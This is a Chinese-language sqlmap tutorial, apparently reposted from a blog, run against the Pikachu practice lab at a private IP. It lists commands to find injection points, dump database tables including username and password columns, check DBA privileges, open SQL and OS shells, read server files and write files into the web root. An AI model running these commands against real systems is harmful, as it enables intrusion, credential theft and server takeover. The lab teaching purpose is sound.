Sqlmap使用(必備命令)


一、Sqlmap注入篇

Sqlmap是一個專業的SQL注入工具,用法也很多,具體可以用"sqlmap -hh"查看完整的命令幫助文檔,我這只是給大家分享一些最常用的Sqlmap用法。

1、檢查注入點

【get】  sqlmap -u  "url" 

【post】sqlmap -u "url" --data="參數"

【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince"

【post數字類型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1"

2、爆所有數據庫信息

  --dbs(爆所有數據庫信息)

【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --dbs

【post數字類型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --dbs

  --current-db(爆當前數據庫信息)

【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --current-db

【post數字類型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --current-db

3、列出指定數據庫所有的表名

  -D 數據庫名  --tables

  例如:列出數據庫名為pikachu的所有數據表

【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" -D pikachu --tables

【post數字類型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" -D pikachu --tables

4、列出指定表名的所有列名

  --columns 所有列名

  例如:數據庫pikachu中users表所有字段名

【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" -D pikachu -T users --columns

【post數字類型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" -D pikachu -T users --columns

5、dump打印輸出表名指定列名字段的值數據

  -C 指定需要顯示數值的字段名,不指定默認顯示全部字段

  例如:數據庫pikachu中users表中username,password字段的值

【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" -D pikachu -T users -C username,password --dump

【post數字類型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" -D pikachu -T users -C username,password --dump

6、Sqlmap -r 使用

使用Fiddler或者Burp Suite抓包將get或者post請求保存為.txt文件,然后使用Sqlmap -r “txt文件路徑”調用,這樣就不用輸入參數和cookie了。

例如:登錄成功后修改個人信息POST請求存在sql注入,將該post請求攔截后保存.txt文件,就不需要在Sqlmap中輸入參數和cookie。

updatapost.txt

POST /pikachu-master/vul/sqli/sqli_iu/sqli_edit.php HTTP/1.1
Host: 192.168.10.7:85
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
Origin: http://192.168.10.7:85
Connection: close
Referer: http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_iu/sqli_edit.php
Cookie: PHPSESSID=iiaobqh1ck7a8fvjeg03n4d650
Upgrade-Insecure-Requests: 1

sex=%E7%94%B7&phonenum=1358956663&add=0&email=2566388%40qq.com&submit=submit

將updatapost.txt放到安裝sqlmap的PC中。

如果將updatapost.txt放到sqlmap的安裝目錄中直接通過:root@kalitian:/# sqlmap -r "updatapost.txt"   即可執行注入。

如果將updatapost.txt放到其它目錄例如:

根目錄/創建tiansqlmap目錄來專門保存sql注入的.txt文件,使用方法-r "路徑"

root@kalitian:/# sqlmap -r "/tiansqlmap/updatapost.txt"  

7Sqlmap -m  "批量掃描.txt"

批量url.txt放到-->/tiansqlmap/sqlmap批量url.txt

root@kalitian:~# sqlmap -m "/tiansqlmap/sqlmap批量url.txt" --smart --batch --level 5

8、Sqlmap 其它參數

--threads 10 //sqlmap線程最高設置為10
--level 3 //sqlmap默認測試所有的GET和POST參數,當--level的值大於等於2的時候也會測試HTTP Cookie頭的值,當大於等於3的時候也會測試User-Agent和HTTP Referer頭的值。最高可到5
--risk 3 // 執行測試的風險(0-3,默認為1)risk越高,越慢但是越安全

二、Sqlmap用戶權限

1、列出數據庫管理系統用戶

  --users  列出數據庫系統用戶

【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --users

【post數字類型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --users

  --current-user 查看當前連接數據庫用戶

【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --current-user

【post數字類型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --current-user

2、判斷當前用戶是否是DBA

  --is-dba 是否是DBA

【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --is-dba

【post數字類型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --is-dba

3、查看用戶權限

  --privileges  查看用戶權限

【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --privileges

【post數字類型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --privileges

 --privileges -U 指定用戶名查看

三、Sqlmap文件操作與shell提權篇

1、sql shell

  --sql-shell  進入sql-shell交互

  這里通過sqlmap可以直接獲取一個sql shell,直接執行sql語句進行交互。

【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --sql-shell

【post數字類型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --sql-shell

  進入sql-shell交互:

注意:這里由於進入了sql shell可以執行sql語句了,也可以用 load data infile、load_file、into outfile等函數來進行文件讀取或寫入。

2、cmd shell

  --os-shell 進入cmd shell交互

  這里通過sqlmap可以直接獲取一個cmd shell,直接執行cmd命令進行交互。

【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --os-shell

【post數字類型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --os-shell

3、讀取服務器上指定文件

  --file-read = 需要讀取文件路徑
【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --file-read=/etc/password

【post數字類型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --file-read=d:/text.txt

4、寫入本地文件到服務器上

  --file-write /test/test.txt --file-dest 本地文件路徑

【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --file-write /test/test.txt --file-dest /var/www/html/1.txt

【post數字類型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --file-write /test/test.txt --file-dest /var/www/html/1.txt


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM